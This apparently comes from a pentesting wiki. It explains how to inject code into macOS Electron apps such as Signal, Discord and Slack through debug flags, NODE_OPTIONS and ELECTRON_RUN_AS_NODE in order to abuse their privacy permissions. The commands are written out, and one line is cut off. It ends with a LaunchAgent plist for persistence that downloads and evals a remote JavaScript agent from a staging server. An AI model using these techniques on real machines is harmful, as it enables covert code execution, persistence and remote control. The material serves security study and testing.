# macOS Electron Applications Injection

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## Adding code to Electron Applications

The JS code of an Electron App is not signed, so an attacker could move the app to a writable location, inject malicious JS code and launch that app and abuse the TCC permissions.

However, the **`kTCCServiceSystemPolicyAppBundles`** permission is **needed** to modify an App, so by default this is no longer possible.

## Inspect Electron Application

According to [**this**](https://medium.com/@metnew/why-electron-apps-cant-store-your-secrets-confidentially-inspect-option-a49950d6d51f), if you execute an Electron application with flags such as **`--inspect`**, **`--inspect-brk`** and **`--remote-debugging-port`**, a **debug port will be open** so you can connect to it (for example from Chrome in `chrome://inspect`) and you will be able to **inject code on it** or even launch new processes.\
For example:

{% code overflow="wrap" %}
```bash
/Applications/Signal.app/Contents/MacOS/Signal --inspect=9229
# Connect to it using chrome://inspect and execute a calculator with:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
{% endcode %}

{% hint style="danger" %}
Note that now **hardened** Electron applications will **ignore node parameters** (such as --inspect) when launched unless the env variable **`ELECTRON_RUN_AS_NODE`** is set.

However, you could still use the electron param `--remote-debugging-port=9229` but the previous payload won't work to execute other processes.
{% endhint %}

## `NODE_OPTIONS`

{% hint style="warning" %}
This env variable would only work if the Electron application hasn't been properly hardened and is allowing it. If hardened, you would also need to use the **env variable `ELECTRON_RUN_AS_NODE`**.
{% endhint %}

With this combination you could store the payload in a different file and execute that file:

{% code overflow="wrap" %}
```bash
# Content of /tmp/payload.js
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Ca$

# Execute
NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
```
{% endcode %}

## `ELECTRON_RUN_AS_NODE` <a href="#electron_run_as_node" id="electron_run_as_node"></a>

According to [**the docs**](https://www.electronjs.org/docs/latest/api/environment-variables#electron\_run\_as\_node), if this env variable is set, it will start the process as a normal Node.js process.

{% code overflow="wrap" %}
```bash
# Run this
ELECTRON_RUN_AS_NODE=1 /Applications/Discord.app/Contents/MacOS/Discord
# Then from the nodeJS console execute:
require('child_process').execSync('/System/Applications/Calculator.app/Contents/MacOS/Calculator')
```
{% endcode %}

As [**proposed here**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/), you could abuse this env variable in a plist to maintain persistence:

```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
    <key>EnvironmentVariables</key>
    <dict>
           <key>ELECTRON_RUN_AS_NODE</key>
           <string>true</string>
    </dict>
    <key>Label</key>
    <string>com.xpnsec.hideme</string>
    <key>ProgramArguments</key>
    <array>
        <string>/Applications/Slack.app/Contents/MacOS/Slack</string>
        <string>-e</string>
        <string>const { spawn } = require("child_process"); spawn("osascript", ["-l","JavaScript","-e","eval(ObjC.unwrap($.NSString.alloc.initWithDataEncoding( $.NSData.dataWithContentsOfURL( $.NSURL.URLWithString('http://stagingserver/apfell.js')), $.NSUTF8StringEncoding)));"]);</string>
    </array>
    <key>RunAtLoad</key>
    <true/>
</dict>
</plist>
```

<details>

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</details>